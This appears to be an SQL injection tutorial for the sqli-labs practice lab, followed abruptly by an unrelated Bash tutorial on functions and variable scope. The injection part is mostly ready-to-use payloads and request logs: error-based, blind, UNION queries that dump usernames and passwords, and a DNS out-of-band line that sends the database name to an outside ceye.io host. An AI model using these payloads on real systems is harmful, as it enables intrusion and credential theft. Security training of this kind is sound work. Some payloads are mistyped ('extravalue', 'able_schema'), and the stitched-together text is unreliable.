HTTP header injection is a security vulnerability that occurs when an attacker is able to inject malicious content into HTTP headers. This can have various security implications, including the potential for cross-site scripting (XSS) attacks or other forms of web application exploitation.
Example :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 192.168.1.33 Content-Length: 38 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.33 Content-Type: application/x-www-form-urlencoded User-Agent:1' and updatexml(1,concat(0x7e,(user()),0x7e),1) and '1'='1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.1.33/sqli-labs-master/Less-18/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
Error-Based Injection involves deliberately triggering error conditions in the database to make query results appear in error messages. This technique is particularly useful in cases where UNION-based injections are restricted and error information can be returned. It’s also known as Formulaic SQL Injection.
Utilizing the updatexml() function:
Payload:
1
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));--+
0x7e: ~ updatexml(): Function used to update XML documents. updatexml() syntax: update(target_xml_document, xpath_expression, new_value) XPath expressions are used to specify paths within an XML document. If the format is incorrect, an error will occur.
Subsequent steps for updatexml-based error-based injection:
(1). Modify the SQL statement for selecting the user position. (2). Retrieve tables in the current database. (3). Retrieve columns of a specific table. (4). Continue step by step.
Utilizing the extravalue() function:
Payload:
1
?id=1' and (extravalue(1,concat(0x7e,(select user()),0x7e)))--+
extravalue() function is similar to updatexml() and is used for querying node content in an XML document. Subsequent steps for extravalue-based error-based injection are the same as for updatexml.
Utilizing the floor() function:
Payload:
1
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
The principle utilized is the repetition of primary keys due to the repetitiveness of floor(rand(0)*2), leading to an error in the group by statement. The group by key principle involves looping through every row of data and saving the results in a temporary table. When reading each row’s key, if the key exists in the temporary table, it won’t update the temporary table’s data. If the key doesn’t exist, it will insert the key’s row data into the temporary table.
Additional Information:
These three functions are commonly used in error-based injections.
Sometimes, when injecting, you may not get direct feedback, or you may not be able to use time-based blind injection. In such cases, you can use out-of-band channels, which means using other protocols or channels, such as HTTP requests, DNS resolution, SMB services, to exfiltrate data. DNS log blind injection can reduce the number of requests sent and achieve injection with direct feedback.
DNS log: It stores domain name information on the DNS server, recording user access information for domains like www.xxx.com.
Conditions for utilization:
secure_file_priv in mysql.ini must be empty.
If secure_file_priv is null, importing and exporting are not allowed.
If secure_file_priv is set to /tmp, importing and exporting can only be done in the /tmp directory.
When secure_file_priv is empty, there are no restrictions, and importing and exporting are allowed.
Example:
1
?id=1' and load_file(concat('\\', (select database()), '.27epx0.ceye.io\abc'))--+"
First, check if an injection vulnerability exists.
Next, determine the injection type: character-based, numeric-based, or search-based.
Determine the available injection method; in this case, union injection and Boolean-based blind injection are not available:
1 2 3
?id=1' and 1=1 %23 (Page response is normal) ?id=1' and 1=2 %23 (Page response is normal) ?id=1' and sleep(5) %23
Page experiences a 5-second delay, indicating the sleep function is injected into the database, confirming the presence of time-based blind injection.
Start by obtaining the length of the database name:
1 2
?id=1' and if((length(database())>7),sleep(5),1) %23 (5-second delay) ?id=1' and if((length(database())>8),sleep(5),1) %23 (No 5-second delay)
This indicates that the database name has a length of 8 characters.
Proceed to retrieve the database name character by character:
1
?id=1' and if((ascii(substr(database(),1,1))>n),sleep(5),1) %23
These steps describe a method for performing time-based blind SQL injection to extract information about the database, such as the length of the database name and the characters that make up the name.
Example of Time-Based Blind SQL Injection Operation:
1 2 3 4 5 6 7 8 9 10 11 12
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' 没有任何反应 http://127.0.0.1/sqli-labs-master/Less-9/?id=1" 没有任何反应 http://127.0.0.1/sqli-labs-master/Less-9/?id=1\ 没有任何反应 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and 1=1 --+ 没有任何反应 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) %23 5秒钟后响应,说明是字符型盲注 http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and sleep(5) %23 响应的比较快,说明不是数字型盲注 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((length(database())>7),sleep(5),1) %23 延时5秒 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((length(database())>8),sleep(5),1) %23 不延时5秒 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((ascii(substr(database(),1,1))>114),sleep(5),1) %23 延时5秒 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((ascii(substr(database(),1,1))>115),sleep(5),1) %23 不延时5秒,得出结论,第一个字符是s,以此类推 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(5),1) --+ 延时5秒 http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select count(*) from information_schema.tables where table_schema=database())>4,sleep(5),1) --+ 不延时5秒
Next, retrieve the database name character by character:
1
?id=1' and (ascii(substr(database(),1,1))>n) --+
Note: To determine the character at a specific position, you can use a binary search method. To obtain the second character of the database name, simply change the position in the “substr” function.
Use Burp Suite’s Intruder module to iterate through the possibilities.
Obtain the number of tables:
1
?id=1' and (select count(*) from information_schema.tables where table_schema='security') > 3
Retrieve the length of the tables. These steps outline a method for conducting a blind Boolean-based SQL injection to gather information about a database, such as the database name and the number of tables.
Example of Boolean Blind SQL Injection Operation
1 2 3 4 5 6 7 8 9 10 11 12 13 14
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=1 --+ correct http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=2 --+ error http://127.0.0.1/sqli-labs-master/Less-8/?id=1' order by 3 --+ correct http://127.0.0.1/sqli-labs-master/Less-8/?id=1' order by 4 --+ error http://127.0.0.1/sqli-labs-master/Less-8/?id=1' union select 1,2,3 --+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database()))>7 --+ correct database name's length <=8 http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database()))>8 --+ error http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1))>114) --+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1))>115) --+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(*) from information_schema.tables where table_schema='security') > 3 --+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(*) from information_schema.tables where table_schema='security') > 4 --+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ord(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 100) --+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ord(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 101) --+
First, check for the existence of an SQL injection vulnerability.
Then, determine the injection type: character-based, numeric-based, or search-based.
Use “order by” to further identify the number of columns:
1 2
?id=1' order by 3 --+ (normal) ?id=1' order by 4 --+ (error)
Once the number of columns is determined using “order by,” proceed to replace the display position with some MySQL functions.
Retrieve the tables in the current database:
1
?id=-1' union select 1, group_concat('<br>', table_name), version() from information_schema.tables where table_schema=database()--+
After obtaining the tables, retrieve the columns in those tables:
1
?id=-1' union select 1, group_concat('<br>', column_name), version() from information_schema.columns where able_schema=database() and table_name='users'--+
Retrieve the data:
1
?id=-1' union select 1, group_concat('|', username), group_concat('|', password) from users--+
These steps describe how an attacker can detect and exploit a SQL injection vulnerability to extract information from a database.
Example of Union Sql Injection Operation
1 2 3 4 5 6 7 8 9
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+ correct http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+ error http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+ http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),version() --+ http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat('<br>',table_name) ,version() from information_schema.tables where table_schema=database()--+ http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat('<br>',column_name),version() from information_schema.columns where table_schema=database() and table_name='users' --+ http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, username,password from users --+ http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat('|',username),group_concat('|',password) from users --+
In terms of Bash scripting, we can think of a function as a script within a script, which is useful when we need to execute the same code multiple times in a script. Rather than re-writing the same chunk of code over and over, we just write it once as a function and then call that function as needed. Put another way, a function is a subroutine, or a code block that implements a set of operations–a “black box” that performs a specified task. Functions may be written in two different formats. The first format is more common to Bash scripts:
1 2 3
function function_name { commands... }
The second format is more familiar to C programmers:
1 2 3
function_name () { commands... }
The formats are functionally identical and are a matter of personal preference. Let’s look at a simple example:
1 2 3 4 5 6 7 8 9 10
kali@kali:~$ cat ./func.sh #!/bin/bash # function example print_me () { echo"You have been printed!" } print_me kali@kali:~$ chmod +x ./func.sh kali@kali:~$ ./func.sh You have been printed!
Functions can also accept arguments:
1 2 3 4 5 6 7 8 9 10
kali@kali:~$ cat ./funcarg.sh #!/bin/bash # passing arguments to functions pass_arg() { echo"Today's random number is: $1" } pass_arg $RANDOM kali@kali:~$ chmod +x ./funcarg.sh kali@kali:~$ ./funcarg.sh Today's random number is: 25228
In this case, we passed a random number, $RANDOM, into the function, which outputs it as $1, the functions first argument. Note that the function definition (pass_arg()) contains parentheses. In other programming languages, such as C, these would contain the expected arguments, but in Bash the parentheses serve only as decoration. They are never used. Also note that the function definition (the function itself) must appear in the script before it is called. Logically, we can’t call something we have not defined.
In addition to passing arguments to Bash functions, we can of course return values from Bash functions as well. Bash functions do not actually allow you to return an arbitrary value in the traditional sense. Instead, a Bash function can return an exit status (zero for success, non-zero for failure) or some other arbitrary value that we can later access from the $? global variable (see Table prev article). Alternatively, we can set a global variable inside the function or use command substitution to simulate a traditional return. Let’s look at a simple example that returns a random number into $?:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
kali@kali:~$ cat funcrvalue.sh #!/bin/bash # function return value example return_me() { echo"Oh hello there, I'm returning a random value!" return$RANDOM } return_me echo"The previous function returned a value of $?" kali@kali:~$ chmod +x ./funcrvalue.sh kali@kali:~$ ./funcrvalue.sh Oh hello there, I'm returning a random value! The previous function returned a value of 123 kali@kali:~$ ./funcrvalue.sh Oh hello there, I'm returning a random value! The previous function returned a value of 432
Notice that a random number is returned every time we run the script, because we returned the special global variable $RANDOM (into $?). If we used the return statement without the $RANDOM argument, the exit status of the function (0 in this case) would be returned instead. Now that we have a basic understanding of variables and functions, we can dig deeper and discuss variable scope. The scope of a variable is simply the context in which it has meaning. By default, a variable has a global scope, meaning it can be accessed throughout the entire script. In contrast, a local variable can only be seen within the function, block of code, or subshell in which it is defined. We can “overlay” a global variable, giving it a local context, by preceding the declaration with the local keyword, leaving the global variable untouched. The general syntax is:
1
local name="Joe"
Let’s see how local and global variables work in practice with a simple example:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
kali@kali:~$ cat ./varscope.sh #!/bin/bash # var scope example name1="John" name2="Jason" name_change() { local name1="Edward" echo"Inside of this function, name1 is $name1 and name2 is $name2" name2="Lucas" } echo"Before the function call, name1 is $name1 and name2 is $name2" name_change echo"After the function call, name1 is $name1 and name2 is $name2" kali@kali:~$ chmod +x ./varscope.sh kali@kali:~$ ./varscope.sh Before the function call, name1 is John and name2 is Jason Inside of this function, name1 is Edward and name2 is Jason After the function call, name1 is John and name2 is Lucas
Let’s highlight a few key points within the code. First note that we declared two global variables, setting name1 to John and name2 to Jason. Then, we defined a function and inside that function, declared a local variable called name1, setting the value to Edward. Since this was a local variable, the previous global assignment was not affected; name1 will still be set to John outside this function. Next, we set name2 to Lucas, and since we did not use the local keyword, we are changing the global variable, and the assignment sticks both inside and outside of the function. Based on this example, the following two points summarize variable scope: • Changing the value of a local variable with the same name as a global one will not affect its global value. • Changing the value of a global variable inside of a function – without having declared a local variable with the same name – will affect its global value.